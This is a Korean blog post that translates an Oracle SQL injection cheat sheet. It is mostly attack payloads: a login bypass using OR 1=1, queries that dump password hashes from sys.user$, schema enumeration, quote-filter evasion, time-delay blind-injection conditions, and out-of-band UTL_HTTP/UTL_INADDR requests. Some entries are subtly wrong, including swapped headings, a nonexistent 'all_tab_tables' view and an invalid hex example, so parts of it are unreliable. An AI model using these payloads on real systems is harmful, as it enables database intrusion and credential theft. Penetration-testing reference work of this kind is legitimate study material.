KOROMOON

착한 사마리아인이 되고 싶습니다.

10/26/2018

Oracle Injection Cheet Sheet




아래 링크를 번역함.



( 1 ) 기본 데이터베이스

SYSTEM
모든 버전에서 사용 가능
SYSAUX
모든 버전에서 사용 가능



( 2 ) 코멘트 아웃 쿼리(Comment Out Query)

여기서 코멘트 아웃(Comment Out)이란 디버그에서 자주 사용되는 방법으로 코멘트를 지시하는 문을 삽입하여 프로그램이나 명령어 집합의 일부를 일시적으로 사용하지 않는 것을 말함.

--
SQL 주석

:
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';



( 3 ) 버전 테스팅

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

노트 :
오라클은 모든 SELECT 문에는 테이블이 있어야 함.
DUAL 테이블은 테스트에 사용할 수 있는 더미 테이블임.



( 4 ) 데이터베이스 자격 증명

SELECT username FROM all_users;
모든 버전에서 사용 가능
SELECT name, password from sys.user$;
<= 10g 에서 사용
SELECT name, spare4 from sys.user$;
<= 11g 에서 사용



( 5 ) 데이터베이스 이름

① 현재 데이터베이스

SELECT name FROM v$database;
SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL

② 사용자 데이터베이스

SELECT DISTINCT owner FROM all_tables;



( 6 ) 서버 호스트 이름

SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;



( 7 ) 테이블과 컬럼

① 테이블 검색

SELECT table_name FROM all_tables;

② 컬럼 검색

SELECT column_name FROM all_tab_columns;

③ 컬럼 이름에서 테이블 찾기

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';

④ 테이블 이름에서 컬럼 찾기

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

⑤ 한 번에 여러 테이블/컬럼 검색

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;



( 8 ) 인용 기호 피하기

다른 RDBMS 와 달링 오라클은 테이블/컬럼 이름을 인코딩할 수 있음.

SELECT 0x09120911091 FROM dual;
Hex 인코딩
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;
CHAR() 함수



( 9 ) 문자열 연결

SELECT 'a'||'d'||'mi'||'n' FROM dual;



( 10 ) 타이밍

① 시간 지연

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

② 막대한 시간 지연(Heavy Time Delays)

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));



( 11 ) 특권

SELECT privilege FROM session_privs;
SELECT grantee, granted_role FROM dba_role_privs; (Privileged)



( 12 ) 대역 외 채널링

DNS Requests

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;



( 13 ) 패스워드 크랙(Password Cracking)

JTR Metasploit 모듈은 아래 링크에서 찾을 수 있음.




============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기